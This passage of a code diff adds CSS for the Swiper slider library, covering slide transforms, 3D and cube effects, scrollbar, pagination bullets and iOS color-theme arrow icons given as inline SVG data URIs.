-webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; + -webkit-box-sizing: content-box; + box-sizing: content-box; +} +.swiper-container-android .swiper-slide, +.swiper-wrapper { + -webkit-transform: translate3d(0px, 0, 0); + transform: translate3d(0px, 0, 0); +} +.swiper-container-multirow > .swiper-wrapper { + -webkit-flex-wrap: wrap; + -ms-flex-wrap: wrap; + flex-wrap: wrap; +} +.swiper-container-free-mode > .swiper-wrapper { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; + margin: 0 auto; +} +.swiper-slide { + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + width: 100%; + height: 100%; + position: relative; + -webkit-transition-property: -webkit-transform; + transition-property: -webkit-transform; + transition-property: transform; + transition-property: transform, -webkit-transform; +} +.swiper-invisible-blank-slide { + visibility: hidden; +} +/* Auto Height */ +.swiper-container-autoheight, +.swiper-container-autoheight .swiper-slide { + height: auto; +} +.swiper-container-autoheight .swiper-wrapper { + -webkit-box-align: start; + -webkit-align-items: flex-start; + -ms-flex-align: start; + align-items: flex-start; + -webkit-transition-property: height, -webkit-transform; + transition-property: height, -webkit-transform; + transition-property: transform, height; + transition-property: transform, height, -webkit-transform; +} +/* 3D Effects */ +.swiper-container-3d { + -webkit-perspective: 1200px; + perspective: 1200px; +} +.swiper-container-3d .swiper-wrapper, +.swiper-container-3d .swiper-slide, +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom, +.swiper-container-3d .swiper-cube-shadow { + -webkit-transform-style: preserve-3d; + transform-style: preserve-3d; +} +.swiper-container-3d .swiper-slide-shadow-left, +.swiper-container-3d .swiper-slide-shadow-right, +.swiper-container-3d .swiper-slide-shadow-top, +.swiper-container-3d .swiper-slide-shadow-bottom { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + pointer-events: none; + z-index: 10; +} +.swiper-container-3d .swiper-slide-shadow-left { + background-image: -webkit-gradient(linear, right top, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-right { + background-image: -webkit-gradient(linear, left top, right top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(left, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to right, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-top { + background-image: -webkit-gradient(linear, left bottom, left top, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +.swiper-container-3d .swiper-slide-shadow-bottom { + background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.5)), to(rgba(0, 0, 0, 0))); + background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); + background-image: linear-gradient(to bottom, rgba(0, 0, 0, 0.5), rgba(0, 0, 0, 0)); +} +/* IE10 Windows Phone 8 Fixes */ +.swiper-container-wp8-horizontal, +.swiper-container-wp8-horizontal > .swiper-wrapper { + -ms-touch-action: pan-y; + touch-action: pan-y; +} +.swiper-container-wp8-vertical, +.swiper-container-wp8-vertical > .swiper-wrapper { + -ms-touch-action: pan-x; + touch-action: pan-x; +} +/* a11y */ +.swiper-container .swiper-notification { + position: absolute; + left: 0; + top: 0; + pointer-events: none; + opacity: 0; + z-index: -1000; +} +.swiper-container-coverflow .swiper-wrapper { + /* Windows 8 IE 10 fix */ + -ms-perspective: 1200px; +} +.swiper-container-cube { + overflow: visible; +} +.swiper-container-cube .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; + visibility: hidden; + -webkit-transform-origin: 0 0; + transform-origin: 0 0; + width: 100%; + height: 100%; +} +.swiper-container-cube .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-cube.swiper-container-rtl .swiper-slide { + -webkit-transform-origin: 100% 0; + transform-origin: 100% 0; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-cube .swiper-slide-active, +.swiper-container-cube .swiper-slide-next, +.swiper-container-cube .swiper-slide-prev, +.swiper-container-cube .swiper-slide-next + .swiper-slide { + pointer-events: auto; + visibility: visible; +} +.swiper-container-cube .swiper-slide-shadow-top, +.swiper-container-cube .swiper-slide-shadow-bottom, +.swiper-container-cube .swiper-slide-shadow-left, +.swiper-container-cube .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +.swiper-container-cube .swiper-cube-shadow { + position: absolute; + left: 0; + bottom: 0px; + width: 100%; + height: 100%; + background: #000; + opacity: 0.6; + -webkit-filter: blur(50px); + filter: blur(50px); + z-index: 0; +} +.swiper-container-fade.swiper-container-free-mode .swiper-slide { + -webkit-transition-timing-function: ease-out; + transition-timing-function: ease-out; +} +.swiper-container-fade .swiper-slide { + pointer-events: none; + -webkit-transition-property: opacity; + transition-property: opacity; +} +.swiper-container-fade .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-fade .swiper-slide-active, +.swiper-container-fade .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip { + overflow: visible; +} +.swiper-container-flip .swiper-slide { + pointer-events: none; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + z-index: 1; +} +.swiper-container-flip .swiper-slide .swiper-slide { + pointer-events: none; +} +.swiper-container-flip .swiper-slide-active, +.swiper-container-flip .swiper-slide-active .swiper-slide-active { + pointer-events: auto; +} +.swiper-container-flip .swiper-slide-shadow-top, +.swiper-container-flip .swiper-slide-shadow-bottom, +.swiper-container-flip .swiper-slide-shadow-left, +.swiper-container-flip .swiper-slide-shadow-right { + z-index: 0; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; +} +/* Scrollbar */ +.swiper-scrollbar { + border-radius: 10px; + position: relative; + -ms-touch-action: none; + background: rgba(0, 0, 0, 0.1); +} +.swiper-container-horizontal > .swiper-scrollbar { + position: absolute; + left: 1%; + bottom: 3px; + z-index: 50; + height: 5px; + width: 98%; +} +.swiper-container-vertical > .swiper-scrollbar { + position: absolute; + right: 3px; + top: 1%; + z-index: 50; + width: 5px; + height: 98%; +} +.swiper-scrollbar-drag { + height: 100%; + width: 100%; + position: relative; + background: rgba(0, 0, 0, 0.5); + border-radius: 10px; + left: 0; + top: 0; +} +.swiper-scrollbar-cursor-drag { + cursor: move; +} +.swiper-scrollbar-lock { + display: none; +} +.swiper-zoom-container { + width: 100%; + height: 100%; + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -webkit-justify-content: center; + -ms-flex-pack: center; + justify-content: center; + -webkit-box-align: center; + -webkit-align-items: center; + -ms-flex-align: center; + align-items: center; + text-align: center; +} +.swiper-zoom-container > img, +.swiper-zoom-container > svg, +.swiper-zoom-container > canvas { + max-width: 100%; + max-height: 100%; + -o-object-fit: contain; + object-fit: contain; +} +.swiper-slide-zoomed { + cursor: move; +} +.swiper-button-prev, +.swiper-button-next { + position: absolute; + top: 50%; + width: 27px; + height: 44px; + margin-top: -22px; + z-index: 10; + cursor: pointer; + background-size: 27px 44px; + background-position: center; + background-repeat: no-repeat; +} +.swiper-button-prev.swiper-button-disabled, +.swiper-button-next.swiper-button-disabled { + opacity: 0.35; + cursor: auto; + pointer-events: none; +} +.swiper-button-prev, +.swiper-container-rtl .swiper-button-next { + left: 10px; + right: auto; +} +.swiper-button-next, +.swiper-container-rtl .swiper-button-prev { + right: 10px; + left: auto; +} +.swiper-pagination { + position: absolute; + text-align: center; + -webkit-transition: 300ms opacity; + transition: 300ms opacity; + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0); + z-index: 10; +} +.swiper-pagination.swiper-pagination-hidden { + opacity: 0; +} +.swiper-pagination-fraction, +.swiper-pagination-custom, +.swiper-container-horizontal > .swiper-pagination-bullets { + bottom: 10px; + left: 0; + width: 100%; +} +.swiper-pagination-bullets-dynamic { + overflow: hidden; + font-size: 0; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transform: scale(0.33); + transform: scale(0.33); + position: relative; +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active { + -webkit-transform: scale(1); + transform: scale(1); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-prev-prev { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next { + -webkit-transform: scale(0.66); + transform: scale(0.66); +} +.swiper-pagination-bullets-dynamic .swiper-pagination-bullet-active-next-next { + -webkit-transform: scale(0.33); + transform: scale(0.33); +} +.swiper-pagination-bullet { + width: 8px; + height: 8px; + display: inline-block; + border-radius: 100%; + background: #000; + opacity: 0.2; +} +button.swiper-pagination-bullet { + border: none; + margin: 0; + padding: 0; + -webkit-box-shadow: none; + box-shadow: none; + -webkit-appearance: none; + -moz-appearance: none; + appearance: none; +} +.swiper-pagination-clickable .swiper-pagination-bullet { + cursor: pointer; +} +.swiper-pagination-bullet-active { + opacity: 1; +} +.swiper-container-vertical > .swiper-pagination-bullets { + right: 10px; + top: 50%; + -webkit-transform: translate3d(0px, -50%, 0); + transform: translate3d(0px, -50%, 0); +} +.swiper-container-vertical > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 6px 0; + display: block; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + top: 50%; + -webkit-transform: translateY(-50%); + transform: translateY(-50%); + width: 8px; +} +.swiper-container-vertical > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + display: inline-block; + -webkit-transition: 200ms top, 200ms -webkit-transform; + transition: 200ms top, 200ms -webkit-transform; + transition: 200ms transform, 200ms top; + transition: 200ms transform, 200ms top, 200ms -webkit-transform; +} +.swiper-container-horizontal > .swiper-pagination-bullets .swiper-pagination-bullet { + margin: 0 4px; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic { + left: 50%; + -webkit-transform: translateX(-50%); + transform: translateX(-50%); + white-space: nowrap; +} +.swiper-container-horizontal > .swiper-pagination-bullets.swiper-pagination-bullets-dynamic .swiper-pagination-bullet { + -webkit-transition: 200ms left, 200ms -webkit-transform; + transition: 200ms left, 200ms -webkit-transform; + transition: 200ms transform, 200ms left; + transition: 200ms transform, 200ms left, 200ms -webkit-transform; +} +.swiper-pagination-progressbar { + background: rgba(0, 0, 0, 0.25); + position: absolute; +} +.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + position: absolute; + left: 0; + top: 0; + width: 100%; + height: 100%; + -webkit-transform: scale(0); + transform: scale(0); + -webkit-transform-origin: left top; + transform-origin: left top; +} +.swiper-container-rtl .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + -webkit-transform-origin: right top; + transform-origin: right top; +} +.swiper-container-horizontal > .swiper-pagination-progressbar, +.swiper-container-vertical > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 100%; + height: 4px; + left: 0; + top: 0; +} +.swiper-container-vertical > .swiper-pagination-progressbar, +.swiper-container-horizontal > .swiper-pagination-progressbar.swiper-pagination-progressbar-opposite { + width: 4px; + height: 100%; + left: 0; + top: 0; +} +.swiper-lazy-preloader { + position: absolute; + left: 50%; + top: 50%; + z-index: 10; +} +.ios .swiper-lazy-preloader { + width: 32px; + height: 32px; + margin-left: -16px; + margin-top: -16px; +} +.ios .swiper-button-prev, +.ios .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next, +.ios .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-red, +.ios .swiper-container-rtl .swiper-button-next.color-red, +.ios .color-theme-red .swiper-button-prev, +.ios .color-theme-red .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-red, +.ios .swiper-container-rtl .swiper-button-prev.color-red, +.ios .color-theme-red .swiper-button-next, +.ios .color-theme-red .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff3b30'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-red .swiper-pagination-bullet-active, +.ios .color-theme-red .swiper-pagination-bullet-active { + background: #ff3b30; +} +.ios .color-red .swiper-pagination-progressbar, +.ios .color-theme-red .swiper-pagination-progressbar, +.ios .color-red.swiper-pagination-progressbar, +.ios .color-theme-red.swiper-pagination-progressbar { + background: rgba(255, 59, 48, 0.25); +} +.ios .color-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-red.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff3b30; +} +.ios .swiper-button-prev.color-green, +.ios .swiper-container-rtl .swiper-button-next.color-green, +.ios .color-theme-green .swiper-button-prev, +.ios .color-theme-green .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-green, +.ios .swiper-container-rtl .swiper-button-prev.color-green, +.ios .color-theme-green .swiper-button-next, +.ios .color-theme-green .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%234cd964'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-green .swiper-pagination-bullet-active, +.ios .color-theme-green .swiper-pagination-bullet-active { + background: #4cd964; +} +.ios .color-green .swiper-pagination-progressbar, +.ios .color-theme-green .swiper-pagination-progressbar, +.ios .color-green.swiper-pagination-progressbar, +.ios .color-theme-green.swiper-pagination-progressbar { + background: rgba(76, 217, 100, 0.25); +} +.ios .color-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-green.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #4cd964; +} +.ios .swiper-button-prev.color-blue, +.ios .swiper-container-rtl .swiper-button-next.color-blue, +.ios .color-theme-blue .swiper-button-prev, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-blue, +.ios .swiper-container-rtl .swiper-button-prev.color-blue, +.ios .color-theme-blue .swiper-button-next, +.ios .color-theme-blue .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23007aff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-blue .swiper-pagination-bullet-active, +.ios .color-theme-blue .swiper-pagination-bullet-active { + background: #007aff; +} +.ios .color-blue .swiper-pagination-progressbar, +.ios .color-theme-blue .swiper-pagination-progressbar, +.ios .color-blue.swiper-pagination-progressbar, +.ios .color-theme-blue.swiper-pagination-progressbar { + background: rgba(0, 122, 255, 0.25); +} +.ios .color-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-blue.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #007aff; +} +.ios .swiper-button-prev.color-pink, +.ios .swiper-container-rtl .swiper-button-next.color-pink, +.ios .color-theme-pink .swiper-button-prev, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-pink, +.ios .swiper-container-rtl .swiper-button-prev.color-pink, +.ios .color-theme-pink .swiper-button-next, +.ios .color-theme-pink .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff2d55'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-pink .swiper-pagination-bullet-active, +.ios .color-theme-pink .swiper-pagination-bullet-active { + background: #ff2d55; +} +.ios .color-pink .swiper-pagination-progressbar, +.ios .color-theme-pink .swiper-pagination-progressbar, +.ios .color-pink.swiper-pagination-progressbar, +.ios .color-theme-pink.swiper-pagination-progressbar { + background: rgba(255, 45, 85, 0.25); +} +.ios .color-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-pink.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff2d55; +} +.ios .swiper-button-prev.color-yellow, +.ios .swiper-container-rtl .swiper-button-next.color-yellow, +.ios .color-theme-yellow .swiper-button-prev, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-yellow, +.ios .swiper-container-rtl .swiper-button-prev.color-yellow, +.ios .color-theme-yellow .swiper-button-next, +.ios .color-theme-yellow .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffcc00'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-yellow .swiper-pagination-bullet-active, +.ios .color-theme-yellow .swiper-pagination-bullet-active { + background: #ffcc00; +} +.ios .color-yellow .swiper-pagination-progressbar, +.ios .color-theme-yellow .swiper-pagination-progressbar, +.ios .color-yellow.swiper-pagination-progressbar, +.ios .color-theme-yellow.swiper-pagination-progressbar { + background: rgba(255, 204, 0, 0.25); +} +.ios .color-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-yellow.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffcc00; +} +.ios .swiper-button-prev.color-orange, +.ios .swiper-container-rtl .swiper-button-next.color-orange, +.ios .color-theme-orange .swiper-button-prev, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-orange, +.ios .swiper-container-rtl .swiper-button-prev.color-orange, +.ios .color-theme-orange .swiper-button-next, +.ios .color-theme-orange .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ff9500'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-orange .swiper-pagination-bullet-active, +.ios .color-theme-orange .swiper-pagination-bullet-active { + background: #ff9500; +} +.ios .color-orange .swiper-pagination-progressbar, +.ios .color-theme-orange .swiper-pagination-progressbar, +.ios .color-orange.swiper-pagination-progressbar, +.ios .color-theme-orange.swiper-pagination-progressbar { + background: rgba(255, 149, 0, 0.25); +} +.ios .color-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-orange.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ff9500; +} +.ios .swiper-button-prev.color-gray, +.ios .swiper-container-rtl .swiper-button-next.color-gray, +.ios .color-theme-gray .swiper-button-prev, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-gray, +.ios .swiper-container-rtl .swiper-button-prev.color-gray, +.ios .color-theme-gray .swiper-button-next, +.ios .color-theme-gray .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%238e8e93'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-gray .swiper-pagination-bullet-active, +.ios .color-theme-gray .swiper-pagination-bullet-active { + background: #8e8e93; +} +.ios .color-gray .swiper-pagination-progressbar, +.ios .color-theme-gray .swiper-pagination-progressbar, +.ios .color-gray.swiper-pagination-progressbar, +.ios .color-theme-gray.swiper-pagination-progressbar { + background: rgba(142, 142, 147, 0.25); +} +.ios .color-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-gray.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #8e8e93; +} +.ios .swiper-button-prev.color-white, +.ios .swiper-container-rtl .swiper-button-next.color-white, +.ios .color-theme-white .swiper-button-prev, +.ios .color-theme-white .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-white, +.ios .swiper-container-rtl .swiper-button-prev.color-white, +.ios .color-theme-white .swiper-button-next, +.ios .color-theme-white .swiper-container-rtl .swiper-button-prev { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M27%2C22L27%2C22L5%2C44l-2.1-2.1L22.8%2C22L2.9%2C2.1L5%2C0L27%2C22L27%2C22z'%20fill%3D'%23ffffff'%2F%3E%3C%2Fsvg%3E"); +} +.ios .color-white .swiper-pagination-bullet-active, +.ios .color-theme-white .swiper-pagination-bullet-active { + background: #ffffff; +} +.ios .color-white .swiper-pagination-progressbar, +.ios .color-theme-white .swiper-pagination-progressbar, +.ios .color-white.swiper-pagination-progressbar, +.ios .color-theme-white.swiper-pagination-progressbar { + background: rgba(255, 255, 255, 0.25); +} +.ios .color-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white .swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill, +.ios .color-theme-white.swiper-pagination-progressbar .swiper-pagination-progressbar-fill { + background: #ffffff; +} +.ios .swiper-button-prev.color-black, +.ios .swiper-container-rtl .swiper-button-next.color-black, +.ios .color-theme-black .swiper-button-prev, +.ios .color-theme-black .swiper-container-rtl .swiper-button-next { + background-image: url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2027%2044'%3E%3Cpath%20d%3D'M0%2C22L22%2C0l2.1%2C2.1L4.2%2C22l19.9%2C19.9L22%2C44L0%2C22L0%2C22L0%2C22z'%20fill%3D'%23000000'%2F%3E%3C%2Fsvg%3E"); +} +.ios .swiper-button-next.color-black, +.ios .swiper-container-rtl .swiper-button-prev.color-black, +.ios .color-theme-black .swiper-button-next, +.ios .color-theme-black .swiper-container-rtl .swiper-button-prev { + background-image: 